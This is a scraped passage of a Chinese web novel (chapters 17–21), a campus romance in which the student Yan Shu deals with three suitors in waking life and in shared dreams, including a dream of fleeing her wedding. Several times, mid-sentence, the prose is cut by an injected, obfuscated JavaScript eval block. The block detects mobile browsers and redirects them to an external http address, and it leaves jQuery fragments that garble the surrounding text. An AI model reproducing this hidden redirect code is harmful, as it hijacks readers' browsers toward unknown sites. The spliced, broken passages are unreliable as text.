燕舒桌子的左侧有一面圆镜,她微微侧头就能看见镜子中自己的脸,普通的脸、平淡无奇的五官,头发乱糟糟,身穿厚厚的冬衣,看起来有些臃肿。 情绪就像天气,一会晴一会阴雨连绵,她皱起眉看着镜中人,又强行勾起笑容。 “叮铃铃”及时的手机铃声打断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126993|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了燕舒的情绪累积。 手机划过屏幕,她将手机附在耳边,喊道:“妈。” 对面,许莹声音极大,似在吼一般,“我现在在家,你让我帮你找啥贺卡?我找不到。” 今天一醒,燕舒就在手机上搜刘悦学姐的姓名,还搜了最近几届范?克莱本国际钢琴比赛的获奖人名单,可惜她没找到她,心中微微失落,于是又立马给妈妈发消息让她帮忙找下那张贺卡。 只是,她消息发得太迟,爸妈都出门了。 “我房间书柜的最上层有个礼品盒,你拿下来打开。” 手机传来对面的开门声和东西落地声,过了一会,许莹问:“你这里面东西也太多了,你要啥?我寄给你?” “不用,妈,里面是不是有个红色信封?” 又是一阵翻找声。 “嗯,然后呢?” “里面有张贺卡,你打开,给我拍张照发给我就好。” “好,我知道了。” “对了,我让你加平生你怎么不加他?” “陈平生?你又没给我他的微信?我加什么?他怎么不加我?”听见对方又在说陈平生,燕舒下意识怼了回去。 “我把你的手机号给他了,但他也加不了啊。”张莹不知道,燕舒设置了只允许扫二维码添加的规则。 “怎么把他微信给你?你加下人家,怎么设置哦……”许莹抱怨。 燕舒打断她,“好了,别一和我聊就要扯陈平生,让他自己加我微信,我不会加他的。” 说完,她挂断了电话。 半个小时后,手机振动,燕舒收到了一条好友申请,对方招呼语很简洁: 【我是陈平生】 燕舒通过了,没有打招呼,聊天界面,他的备注变成了“对方正在输入中……”,可燕舒等了又等,他也没说话。 “莫名其妙。”她将手机倒扣。 夜色浓稠,C大的教学楼在一片墨色中闪闪发亮,现在不过晚上九点,还有很多学生在上晚课,也还有很多老师在工作。 办公室灯光明亮,莫沅坐在电脑前双眉紧蹙,手指在键盘上快速跳跃,文字很快占满大半个屏幕,突然,他停顿了一下,手又握住鼠标滑动,于是,刚刚写下的内容又被毫不留情地删去。 一个月后有个产业经济学的学术研讨会在B市举办,全国各地高校的经济学专家学者都要参加,莫沅就在其中。 他和燕舒说工作很忙并非随口敷衍,除了本职的教学工作和科研工作,他还会接政府的咨询工作,全当为社会服务,各类学术交流研讨会更是要参加,一天时间就算努力忙里偷闲也偷不了多少,何况他本身就是一个工作狂,就像现在他才拿起手机查看最新消息。看久了屏幕,眼睛有些痛,他摘下手机,一边揉捏揉捏山根,一边摸手机。 页面下滑,他看见了【燕舒】的回复。很客气,很礼貌,这本身没什么问题,但男人内心闪过细微的失落。 “喵~”猫叫声响起。 莫沅微微侧头,就看见一只小猫从门缝处钻了进来,它大大咧咧地走在房间中,很是嚣张。 它自然地走到门后的瓷碗前蹲下,然后朝男人喵呜。男人起身,哼笑,“菲利普斯。” “喵~” 这是第一次,小猫回应他叫它,莫沅有些惊喜。 他走近继续叫道:“菲利普斯?” “喵~” “饿了?”他走到它面前蹲下,伸手呼噜它的头,然后又挠它的下巴。猫发出呼噜呼噜的咕噜声。它很舒服,很享受。 莫沅从柜子中拿出猫粮和宠物羊奶,将其倒入碗中,“吃吧。” 菲利普斯是只会感恩的小猫,它在吃之前,轻轻蹭了蹭男人的裤脚。 小猫吃饭,莫沅就蹲在一旁看,看着看着他思维忽地飘远,他想起燕舒,阳光明媚的室内,少女身上发着光,小猫趴在她腿上,她眉眼弯弯,嘴角勾起。她的眼睛很明亮,不论是在教室还是办公室,每次对视她都会努力睁大眼睛像是在比什么,可眼中的慌乱又泄露出几分羞怯。 到底还是未出社会的学生,眼神清澈而明亮。 菲利普斯吃完猫粮就又跑了,莫沅有些无奈却又习惯地拿起碗出门去厕所洗,回来后又呆了会才收拾东西关灯离开。 18. 第 18 章 周五晚上,燕舒没有做梦,她一觉睡到早上八点,醒来后还有些懵。 她居然没有做梦?为什么?金手指使用期限结束了?旅行者走了?可是它不是说走之前会再见她一面吗?这么突然吗?难不成发生什么事世界线撞了? 经过各种胡思乱想后,燕舒忽然灵光一闪想到来了一个可能,一个有关梦境的规则,一个她一开始就应该明白的规则:梦境的搭建依赖的是她现实世界的发展,也就是说如果她什么都不做,梦境无法更新数据,无法搭建一个新的梦境模型出来。 她周五一天都在寝室,张悦回家,寝室中只有李梦音和钟玉树,三人之间并没有碰撞,所以梦境无法更新,因此燕舒没有做梦。 果然,旅行者让燕舒探索的规则都是浅显容易摸索的,燕舒忽然有了一种玩推理探险游戏的快感。 周末两天,燕舒也没有出寝室,一是为了验证自己摸索的这条规则是否正确,二也是因为她脚确实应该少走动。她一向宅,待在寝室两天不出门并没人觉得不对劲。 于是,连续三天,燕舒都没做梦。 不过,虽然梦里没和纪佳时、陆寻春见面,但手机上几人少不了交流。 只是,有人还在她手机上装模作样,陈平生没有主动招呼她,燕舒不想落了下风,也没主动问好,只晚上躺在床上偷偷摸摸点进对方朋友圈。陈平生的朋友圈虽然不是刻意炫耀型,但他每一条朋友圈都能看出“有趣”、“有钱”,他甚至最近还发了张自拍照,燕舒心中泛酸,还截图转发给李梦音,让她与自己一起对其刻薄评价。 果然,说了别人的坏话后心情都畅通了。 又是新的一周,燕舒有些忐忑,今天有莫沅教授的选修课,有很大的可能,她今晚会梦见他。 这就有点太尴尬了。 不过,尴尬归尴尬,课是必须得上的,只不过燕舒选择早起去教室占座,中后排,刚刚好的一个位置。 上课铃声响起,莫教授又穿着一身黑色大衣进入教室,瞬间,刚刚还闹哄哄的教室立刻变得安静。他慢慢将书包放下,抬头面色沉静地将目光扫过教室中的所有人,然后轻轻挑眉道:“今天人好像来齐了,不错,那就不点名。” 他将讲台的电脑打开,道:“作业我收到了,不过没来得及看。应该不会有人没交吧。那么这节课开头十分钟我们就随机抽两个人的看看,让大家笑一笑,气氛活跃些。是我太严肃了吗?大家每次看见我都不笑?” “哈哈哈哈哈哈……”教室里适时响起笑声,连燕舒都努力笑出了声,她在梦里都怕莫教授不是没有原因的,他给人的压迫感实在太强了。 “哈哈。”讲台上的男人也笑了。他手指抵住眼镜框将其上抬,语气温和,“那么,谁愿意主动分享?主动加分。” 教室里响起轻微的骚动声响,但没人站起或举手或出声。 “好吧。那么我就抽了。”他语气带着点失望。手指点动鼠标,燕舒的心脏也随着屏幕上的头像变换而跳动,她两旁的人和她一样眼睛睁大用力地盯着屏幕,呼吸都变得急促。 “燕……舒。”男人声音轻微停顿,抬头一眼便锁定对面座位上的女生,她瞪大眼睛有些惊讶,又有些懊恼,和他对上眼神,流露出些微无语。 莫沅觉得她的变脸实在是太快了,眼中情绪也很有趣,于是真切地勾起嘴角露出浅笑。他低头继续抽选,又抽了一个,“王峥嵘”,是个男生。 两个倒霉孩子站起对视,皆苦笑。 莫沅站在讲台上问:“谁第一个?” 看着男生躲避的目光,燕舒露出一个僵硬的笑容,“我”。 “好,三分钟,简述你觉得你写的最好的一部分,不是垃圾的内容。”莫沅点开文件,找到属于燕舒的文档打开,鼠标滑动。 燕舒深吸了一口气,点头,“好。”燕舒口语表达能力不错,口齿清晰,表达有逻辑,莫沅听着时不时点头,手上动作却不停,他找到她简述的那部分,开始标红和删除。 三分钟结束,他看着她笑道:“本想让你出个糗,活跃活跃气氛,结果说得还不错,这部分写得也还勉强还行。听你口齿表达,是辩论赛社的?” “不是,只是高中参加过。”燕舒一张脸绯红,她太久没有体验过这种感觉了,说得头晕脑胀、双颊滚烫、口干舌燥。 下课,燕舒挤在过道的人群中,她走出门,侧头和教室中的男人对视,只见他对她温和地笑了笑。 燕舒有些惊慌地加快脚步离开,她真害怕莫教授等会拉她去办公室继续改论文,一堂课上出阴影来了。 身后,莫沅有些不解,她今天有点不对,怎么一脸见鬼的模样?想了想,他又拿起手机发送消息: 【不错[赞]】 在人群中看见燕舒的背影时陆寻春是惊喜的,这些天他与燕舒的交流陷入了一个泥淖,网上太过客气礼貌,哪怕他已经表明心意她的态度都有些冷淡,像是在刻意疏离他,这导致陆寻春有些挫败。 明明两人之前还聊得好好的,陆寻春能感觉到她当时是好感他的,但是怎么就突然变了呢? 像是隔了一层薄薄的浮冰。 他最近找燕舒聊天的次数都减少了,这不是因为他放弃退缩,而是他在更加努力地维持两人的交流。 虽然不知道为什么燕舒忽地变得冷淡,但他就要思考自己是不是打扰到她惹她嫌了,思考一些无聊的话到底应不应该发,思考两人之间如何破冰。 其实最好的方法是线下见一面,哪怕只是聊聊天也好过手机上冰冰冷冷的文字交流,只不过他约不出来她。 所以看见人群中的燕舒的第一眼,陆寻春觉得心中有火花炸开,欢喜雀跃从四肢百窍流淌而出。 他没有理室友的呼唤,直接快步朝前走,现在正是下午下课吃饭的时间,街道上和教学楼中出来的人们声音喧闹纷杂,但他却能清楚地听见自己自己的走路声和心跳声还有细微的呼吸声。 在只离对方几步近时,他忽地察觉了不对,燕舒走得过于慢了,他在她身后仔细观察发现她右脚姿势不对。 “燕舒!”他大步跨到她身边。 听见喊声时燕舒愣住了,因为她觉得这声音有些熟悉却一时半会想不到是谁,侧头,结果就看见陆寻春洋溢着笑容站在自己身旁。 两人站在路边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126994|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人行道上,来往人流涌动,两人相视而望。 “好巧。”燕舒是真的觉得有些巧,C大很大,有些不同学院男女朋友分手后可能就再也遇不见了。 陆寻春眨了下眼睛,道:“要相遇的人终会相遇。”说完,他低头扫过燕舒的右脚,问:“崴到了?” “嗯,不过是几天前的事了,现在都好了。”燕舒回复。 听到这话,陆寻春心中微微讶异转而又失落起来,几天前的事了,她没有告诉过他。 “吃饭了吗?”他侧头看向一侧的米粉店,显而易见这是燕舒的目标饭店,她还没吃晚饭。 好巧,他也没吃。 “没吃。” “那一起吃?” “好。”看着陆寻春的眼睛,燕舒不想拒绝,因为她的脑子里又开始回放那个射箭视频。 店内,燕舒坐在角落的桌子,看着陆寻春端着两碗米粉,两只手保持一个姿势,动也不动,就那么脚步轻盈而稳健地来到她的面前。 外面有些冷,但店里又有些热,于是他脱下外套挂在椅子上,他里面穿着一件黑色高领紧身毛衣,毛衣紧紧贴合他的身体勾勒出其完美的、宽阔而结实的肩膀,厚实而饱满的胸膛随着呼吸而微微起伏,燕舒的视线还想向下扫,但可惜桌子遮挡住了。 他的手臂肌肉紧实,微微弯曲时,肱二头肌高高隆起,仿佛蕴含着爆发性的力量…… 燕舒是能欣赏美的,也痴迷于美的。 当两人走出店外,带着凉意的冷风吹扑在她脸上时,被□□所惑的脑袋稍稍清醒,燕舒这才意识到自己刚刚和陆寻春说了什么,她居然答应了要去看他的射箭比赛还和他约C大骑行的挑战赛。 她可以反悔吗? 燕舒有些心虚地瞥了眼陆寻春。 “我送你到寝室楼下吧。”陆寻春直直看向她。 “啊?” 他神色正经,十分认真道:“你崴了脚就应该少走动,不过这事确实有些难,所以我背你回去吧。”说这话时,陆寻春心中紧张,脸颊和耳朵都微微发烫,不过面上依旧自然。 两人口头拉扯,最终燕舒败给陆寻春。 她总结失败的原因,有两点,第一,她确实想要一个代步工具,挪回去太慢了,第二,她看着陆寻春总会走神想到他刚刚脱外套露出的身材,实在太性感了,刚刚好的身体,戳中了她的喜欢点。 只不过,背人和被人背这件事还是太暧昧了。 两人绕过教学楼,走到背后的公园小路,这既能绕过教学楼直通一期女生宿舍又能避着人。路上人不多不少,但多是情侣模样牵着手一起消食的一男一女,陆寻春背着燕舒混在其中并不突兀。 燕舒趴在陆寻春的背上,安静地没有说话,他也没说话。日头已晚,天色昏黄,余晖洒落在道路上,微风拂过,路旁的树木沙沙作响。燕舒的头靠在陆寻春的背上,她能听见他平稳的呼吸声和有力的心跳,感受着从他身上传来的温暖,燕舒心中涌起一股异样感。 她还是因为梦里陆寻春的形象有些惧怕他,太暴力了,可现在她心中又响起了另一个声音,叫她别害怕,他并不会伤害她。 19. 第 19 章 天已经黑了,燕舒宿舍楼的侧门旁边是校医室和咖啡店,此刻它们的灯都熄了,只有路灯和进入宿舍的门口上方还亮着黄灯,只不过路是下坡,左拐右拐又是去向不同的宿舍楼,再者楼外草丛高深,阴影密布。 路灯旁站着一个修长的人影,他一身白色大衣,洁净的白色在夜里那么明亮,衣角被风刮起些微弧度,领口围着一条深灰色羊绒围巾,在灯光下恰好修饰出他利落的下颌线和高挺的鼻梁。 纪佳时双手抱着花束,手臂微微用力,却又不敢太用力,不敢让这送人的礼物受到半点损伤。身体微微前倾,目光如炬地盯着路前方,耐心等待着。高挺的鼻梁下,唇瓣微抿,时不时呼出一口白气,瞬间消失在冰冷的空气中。 今天晚上纪佳时没有课,他下课饭都没吃跑去校外逛花店去了,从上周晚上迫不及待对燕舒表明心意后,他就有些变得不受控了。像一个棋手还没下就焦躁不安地提前落子,然后一败涂地。 纪佳时学过围棋,他十分理智地看清楚现在的情况,也十分理智地任自己沉迷。 他喜欢燕舒,所以他现在就想将一颗心捧给她看,想烧火取暖再添点柴。 纪佳时今天逛花店时,有老板娘问他是送女朋友的吗? 他说:“不是。” “不过,我会努力。” 既然表明了心意,那就直接出击,他从小的教育是想要得到那就去努力,去争去抢,而不是坐在原地做白日梦。 送花,是因为他没怎么追过人,问了白榆几人和看了网上的留言,学习“追求从一束花开始”。 夜风忽冷,吹得他双手冰冷,空气中弥漫起一阵湿润的凉意,不过一会,细绵的带着冷气的春雨,便如牛毛、似花针般的,密密麻麻地飘落下来。 这雨来得太急,纪佳时没有带伞于是几步躲入女生宿舍楼的入口处,站在过道的角落,身上一半阴影一半楼内的暖光,他接着楼内暖光看宿舍外的夜景,细雨落地像火花炸响,绿叶柔顺,水煮顺着叶脉滑落,滴进泥土,融入大地。 崭新的春雨,在寂静的夜晚洗涤了整个世界。 这雨来得突然,燕舒一只手揽住陆寻春的胸膛一只手护着头,心道倒霉,昨天晚上才洗了的头。 但身下的人却溢出细微的笑声,他的笑声很好听,可燕舒很疑惑,问:“你笑什么?” “觉得幸运。” 幸运? “在很多电影中,突然的雨都是增进……男女主感情的存在,不论是互相淋雨还是避雨。”说着,陆寻春就快步跑了起来,夜灯下细雨飘摇,许多在路旁甜蜜依偎的情侣有的牵着手快速离开,也有的漫步进入一旁的廊下躲雨。 如果燕舒眼神没有问题,她似乎瞥到有一对在廊下请问。 雨,缠绵细腻,确实是一切感情的催化剂。 “不过,我们还是别傻傻淋雨,春雨寒气盛,淋湿了容易感冒。”陆寻春说。 雨丝飘落到燕舒脸颊两侧,将耳旁的碎发粘湿,她心砰砰地跳,有些好奇问道:“很多电影里,哪些?我怎么一个也想不起。” “《纽约的一个雨天》。” 只剩一个转弯路口,陆寻春转弯几步冲过,低头进入燕舒的宿舍楼下避雨。燕舒慢慢从他身上滑落,他扶着她的手臂,两人站得很近。 雨不算大,但燕舒的头顶蒙了一层细密的雨珠,在光下闪闪发光,可不及她的双眼明亮。她耳旁的碎发分成湿漉漉的几缕,不听话的贴在脸上。 陆寻春喉结滚动,心跳得厉害。 “《纽约的一个雨天》?好看吗?”她问。 “其实一般,只不过你问我,我第一时间想到了这部而已。” 看着面前的人,陆寻春伸手想将她脸上的湿发撩至而后,可手指只离她肌肤几毫米时,他停顿住,脸上露出微笑,道:“我很喜欢其中一句台词。” "when I got lucky in the rain." 多么幸运,因为这场雨……遇见你。 空气忽地稀薄,雨声消弭,连路灯和楼内灯光都开始闪烁个不停。 两人对视,皆不再言语,只听外面雨声淅沥。 “学姐。”突然,一旁有人出声,打破两人之间的氛围。这声音幽幽的,语调平静无波却又似乎有几分扭曲,最重要的是燕舒听出这声音的主人是纪佳时,她被吓了一跳。 她转身,发现身后的门口角落站在一个身着白色大衣的男生,被光照着的半张脸赫然就是纪佳时的模样。 他怎么在这? 他在这多久了? 她该怎么解释? 不对,不对,她为什么要解释? 燕舒神色自若,抬手将脸上的湿发扒拉到耳后,问:“纪学弟,你怎么在这?等我?” 听着她的话,陆寻春也侧身看向近门处站着的人,瞄见对方手捧的花束,陆寻春虽面色沉静依旧,可心中顿时警惕起来。 身着白色大衣的男生逐步走出阴影来到两人面前,当看见他的脸,陆寻春已经面色不再淡然了,他面无表情地用审视的目光从上到下打量对方。 他认识这个男生,很有名的新生,法学专业的,叫纪佳时。 陆寻春在看纪佳时,但从始至终,纪佳时只盯着燕舒一人,不对她身旁的人投注一丝目光。 纪佳时心中嫉妒,但他又知道他没资格对她要求什么,只是后悔,那天就不应该躲在奶茶店给对方认识她的机会,忍下这些情绪,他面上露出些许失落,低眉顺眼道:“我想见学姐,于是买了花。给你发了消息,你应该没看到,所以我就在楼下等,结果下雨了。” “抱歉,抱歉。我没看手机消息。”燕舒有些歉疚。 “没事。”纪佳时笑容温和,他穿着白色,眉眼弯弯,整个人似乎都软绵绵的。 他将手中花束向前递给燕舒,眼神真诚,更甚至他似乎还有些紧张,“学姐,我在追求你,无论等多久都是我心甘情愿,你别对我感到抱歉,是我打扰了你。” “这花是我在校外买的,我想空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他转过身,对面的陆寻春也冷然与其对视,两人目光相撞,夜色微凉,雨声窸窣,如此宁静的夜晚,一股无形的暗流却在两人之间涌动。两人都没有会说话,只静静看着,目光却仿佛出鞘的利剑,在空气中激烈碰撞,火花激烈。 纪佳时的眼神犀利而冷冽,头微微高昂,透露出的意思不言自明,但陆寻春只微微挑眉,语气温和而又坚定道:“纪学弟是吧,我很喜欢燕舒,所以我不会、” 可陆寻春还没说完,纪佳时便打断道:“不会退让还是不会放弃?这位……” 纪佳时向来是礼貌温和的,尽管和他多接触下去便知他内里的疏离但他很少毫不客气地表现在脸上,可现在他几乎毫不掩饰地露出凌厉与森冷的气质,他打量陆寻春,“这位、” “算了。”他不知道对方的名字,此刻也不像知道,像是不屑探听一般。 略显刻薄。 “你觉得你的退让或者相争对我又任何威胁吗?” “呵……” 20. 第 20 章 夏日的午后,阳光带着些许热气洒在大地上,但所幸公园树林茂密,有了这一层遮挡,热意被空气中的凉意抵消,静谧的公园,日光倾洒,清凉的隐蔽下,身穿白色婚纱的女人坐在湖边长椅上,眼神有些放空地凝视不远处的湖面。 燕舒一入梦就立刻身临其境地体验了跑步八百米坐在依旧缓不过来的感觉,一边平复呼吸一边打量四周。只不过胸膛依旧剧烈地上下起伏喘着粗气,脸上和后脖颈都冒着细密的湿汗,一双眼睛雾蒙蒙氤氲着水雾,模样看着四周似乎有些茫然。 这个公园场景她并不熟悉,甚至没什么印象,看了一圈又低头打量起自己身上的这身白色婚纱礼裙。漂亮的白色纱裙,多层薄纱堆叠而成,裙摆呈A字形大幅摆开,虽然因为沾地被泥土和草叶染上了斑驳的痕迹,但依旧美得不可方物。 这是一条看着便很贵的裙子。 抹胸设计简洁而优雅,燕舒是盘发,她左右瞧瞧有些不适应地抬手摸了摸自己露出的大片肌肤。 此时此刻,燕舒很懵逼,她不知道梦境中又是怎样的剧情让她一个人穿着婚纱坐在公园。 结婚吗? 那新郎呢? 公园太大,树林遮蔽,小径蜿蜒,燕舒坐在木椅上环视一周也没看见其他人。 她觉得有点不太对劲,穿婚纱出现在公园,身边却没人,也没有手机之类的东西,有些不符合梦境剧情的逻辑。 燕舒提着裙摆小心起身,看向身侧小径通向左右两个方向,有些犹疑,随后提步向前方的公园湖泊靠近。相比于探索梦境发展,此刻她更好奇自己穿婚纱是什么模样,想对水镜自照,好好欣赏一番。可燕舒刚越过草坪,裙摆扫过碎石子地就听见身侧有人喊她。 “燕舒。” 是莫教授的声音。 丝丝凉意攀爬上燕舒的裸露的肌肤,让她整个人打了个寒颤,刚刚接触夏日烈阳的热意都顷刻消散。 上次梦境中被莫教授亲吻的记忆还清晰地浮现在眼前,很羞耻,更加忘不了的是现实中对方的课堂形象,梦境再现,虽然地点情景不同,但燕舒都微微有些感到崩溃。 不会吧…… 她转身,只见莫沅一身白色西装手捧礼花从身侧的小径中走出,西装剪裁合身,线条流畅,勾勒出他宽阔的肩膀和修长的身形,袖口的水晶袖扣晶莹剔透,整个人精致俊美,温润如玉。此刻,他神色平和,双目满含柔情地向她走来。 这幅画面太……震撼了。 可莫教授真的很好看,和纪佳时的少年稚嫩俊美不同,他身上更多的是一种成熟温润,斯文败类的气质。穿上白色西装,更显得气质如玉般华美莹润。 燕舒说到底也并没有见过莫沅几次,尽管梦里已经吻的难舍难分,但她依旧不了解他,只能凭感觉勾勒对对方的印象,莫教授在梦里是强势的、课堂上是严厉的、私下接触却又温和而有趣,总之他和纪佳时与陆寻春不同,或许因为阅历,眼中总有一种尽在掌控的笃定和不在乎,很自信。 此时他走得很慢,表面上依旧淡然,但燕舒总觉得他似乎很紧张,连呼吸都交换不过来。 一步步地走近,最终来到她的面前。 所以真的是结婚?他是她的新郎? 可是现实中明明也见了纪佳时和陆寻春? “我以为你不会来。”莫沅凝视燕舒道。 什么不会来? 有东西在脑海中一闪而过,但燕舒没有抓住。 她忍住心中想要退后转身逃跑的怂意,上下打量男人,问:“你在这等我?新郎?” 新郎。 莫沅心中默念,脸上笑意更甚,他看着燕舒,像是眼中再也看不进其他人。 夏日太阳高悬,阳光越过树荫的笼罩倾洒在公园的每一角,翠绿的草地像是被镀上了一层金辉,微风拂过,草浪轻轻翻涌。不远处的湖水波光粼粼,泛着细碎的金光,岸边杨柳依依,细长的柳枝随风飘扬。 女孩身穿白色抹胸婚纱,裙摆层层叠叠,像是春日柔软的云朵,蓬松漂亮,在日光下散发着圣洁的光。肌肤光滑,抹胸恰到好处地展现出她的锁骨与肩颈线条,头发细致地盘起,却偏偏有几缕碎发垂落在脖颈边,因为奔跑和紧张的脸颊微微泛红,眼中倒映着日光,明亮而炽热,认真而坚定地注视着他,问他在这等她多久,她的新郎。 她这句话说完,莫沅觉得周围的一切都安静下来了,只有微风轻拂,吹动她的婚纱裙摆和他手中的花朵,地上的影子在阴影中缠绵亲吻,心中爱意如同春日藤蔓般肆意蓬勃蔓延。 “嗯。”他答道。 他本以为她不会来。 她那么坚定、那么洒脱,她们两人的关系说断就断,从不回头。 何况,那个要与她结婚的男人是她相恋多年的男友,她的学弟。她们走过这么多年,她说她浪费了对方多年的青春,她得负起责任,她要与他结婚,给对方一个家庭,一个丈夫的身份。最后,他直接妥协,他愿意当三,只要她不结束与他的关系。 幸好,她没有拒绝他。 可人都是贪心的,她只要给他一点希望,他就忍不住索求更多。 当三哪有当老公好? 于是,在她与那人结婚当天,他给她打了通电话。 这本来是他自己的发疯之举,可没有想到她真的来了,于是他立即调转车头来到了这里。而她一见他就问他是不是在这等久了,她的新郎。 她好爱他。 如果她不爱他,她又怎么会逃婚呢? 只有爱他到极点才会让她背弃自己的原则做出逃婚这样出格的事,是他对不起她。 心中情绪翻涌,男人眼中情意更加深重,他再次前进低头将额头与燕舒相碰,双臂环住她的身体,轻声道:“舒舒,我很高兴你来。” 燕舒紧闭着唇,没有说话,她眼睛盯着莫沅,有些好奇也有些疑惑。 她觉得实在有些奇怪,如果真是结婚剧情,那么两人出现的场景都太不对劲了,再回味两 人的对话,细细思索,觉得话语颇有些熟悉。 如果放在逃婚场景,那么一切都合理了! 难怪她一入梦就迅速体会了跑了八百米的感觉! 想到这里,燕舒猛地睁大眼睛后退,可莫沅依旧牢牢环住她,婚纱裙摆拖地更是限制了她的动作。没挣脱开,她对莫沅露出一个尴尬的笑容。 “舒舒,你?”他看她一眼,慢慢松开钳制住她的双臂,后退一步将手中捧花递给她。 “不管你做什么决定,我都不会放弃你,哪怕成为你丈夫的那个人不是我。”莫沅的语调悠长,似有些伤心,却更多的是坚定与执着。 听到这话,燕舒敢确定,这就是逃婚的剧情,虽然莫沅并没有明确说出来,但很明显,她逃了婚来这找他,所以才有了那些话语。 看着面前的捧花,燕舒一时不知该不该接。 “老婆!” 纪佳时。 燕舒回头,看见纪佳时站在树林掩映的小径上目光沉沉的看着她和她身边的男人,纪佳时也穿着一身白色西装,不同的是他衣服上簪了礼花。 很明显,他是本次逃婚剧情的倒霉蛋,她真正的结婚对象。 “纪佳时。”燕舒开口,对方沉沉的目光让她有些不安,于是,下意识的燕舒朝身旁的莫教授看去。 男人与她对视后立刻将手中礼花收回,脚却迈步朝前站在燕舒身边,刚刚拉开的距离又重新拉回。 对面,纪佳时脸色更难看了。 他冷冷的目光戳在对面男人的身上,如果可以,他希望对方立刻猝死。 只可惜,世事往往不能如愿。 他一步步朝两人走去,伸出手道:“老婆,跟我回去。” 回去,婚礼继续。 不过,他也不会原谅燕舒的,他为她与家中断绝关系,为她诸多忍让、数次容忍,不就是因为太爱她了吗?但她以此为筹码,居然逃婚践踏他的真心,不能原谅。他依旧会和她结婚,会叫她老婆,会养她,给她做饭洗衣,但他绝对不会再爱她了!做那些事的时候也不会再对她笑了! 她失去了他最珍贵的真心! “舒舒是不会和你回去的。”莫沅道。 他目光既不冷也不暖,是非常淡漠的视线,但这更惹人生气。不过,让纪佳时更加暴躁,本就是他的目的。 “纪佳时,如果你还有点尊严,就要懂得放手。她不喜欢你,你们结婚不会快乐的。” “莫沅你这个贱人!”纪佳时神色更加森冷,出口也更加不留情面。 纪佳时走到燕舒面前,伸手拉住燕舒的手,语气温和多了,“老婆,我们回去继续婚礼。” “纪同学,毕业几年你怎么还是这么幼稚?”莫沅的手也握住燕舒的手,嘴角微勾,语调讥讽。 听见这个称呼,纪佳时心情更不美妙了,他抬眸直视莫沅道:“人要脸树要皮,我看莫教授一点脸都不要了,挖人墙角挖到自己学生,你想过自己的身份吗?” “墙角?身份?我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看着面前的三个男人,心底有什么在蠢蠢欲动,心脏怦怦跳得异常厉害,一股无名的紧张让脑袋微微发晕,脸颊也升起了热意。 她看向纪佳时,上前迈步走近,深吸一口气抬手拽住他的衣服领口,一把将他的脑袋拽低,直视对方道:“老公,你不是爱我吗?那么我逃婚你生什么气?爱一个人不应该包容她的所有吗?” “还是说?你在骗我?” 纪佳时愣住了,有些结巴开口,“老婆,我……” “你太让我失望了。”燕舒没等他说,直接松开手后退,眼神轻蔑。 听到这句话,纪佳时猛地一怔,然后皱眉,面色惊惶不安地看着燕舒。 教训完纪佳时,燕舒的视线扫过莫沅,她本来想忽视对方的,可心中的战意与勇气已经被激起,而且她确实有些讨厌对方的不听话了,三个人中莫教授是最不好掌控拿捏的,她连梦中都因为不敢面对他而时时处于下风。 接吻时可以说是情趣,但其他时候却令人讨厌了。 这是她的梦中世界,她不应该害怕他,而他必须听她话。 “舒舒,我错了。”莫教授认错速度极快,态度也极为诚恳。 他看出燕舒此时情绪不好。 燕舒走近,看了看两人的身高差距,抬手勾了勾手指,“低头。” 上场梦境打他脸他恰好为吻她低着头。 男人乖乖听话低头,他似乎猜到燕舒要做什么了。下一刻,燕舒抬手啪得朝他脸上扇去,掌声清脆。他的头被扇得微微左侧,却转头慢慢捧起燕舒的手,认真问:“很痛吧。对不起。” 燕舒任由对方握住她的手,道:“你明明知道我打你会痛,你为什么非要让我打你,故意的吗?” 莫沅点头:“舒舒,对不起。我确实把这个当成你我之间的情趣了,没有照顾到你手,我的错。” 燕舒冷哼一声,“我逃婚不是为了你,你纯粹自作多情了。” 说完,燕舒侧身看向陆寻春,“过来。” “燕舒。”陆寻春面色微苦,他根本不知道哪惹燕舒生气了。 燕舒面上却露出笑容,问:“陆寻春,你会伤害我吗?” “不会。我怎么可能?”陆寻春急忙摇头。 “好。”燕舒点头。 她微微踮脚抬手摸了摸陆寻春毛绒绒的头,道:“这是奖励。” 21. 第 21 章 “音音,我好难受……”燕舒倚在阳台门口。 昨夜小雨微歇,但深夜雨声霹雳,声音簌簌,今早起床打开窗望依旧是小雨淅沥。阳台的窗户大开,李梦音一边感受着从窗外吹进的春寒之意,一边将手在热水下淋湿,又将帕子打湿再拧干,将其覆盖在脸上,声音从帕子中传出,闷闷的。 “难受啥?” 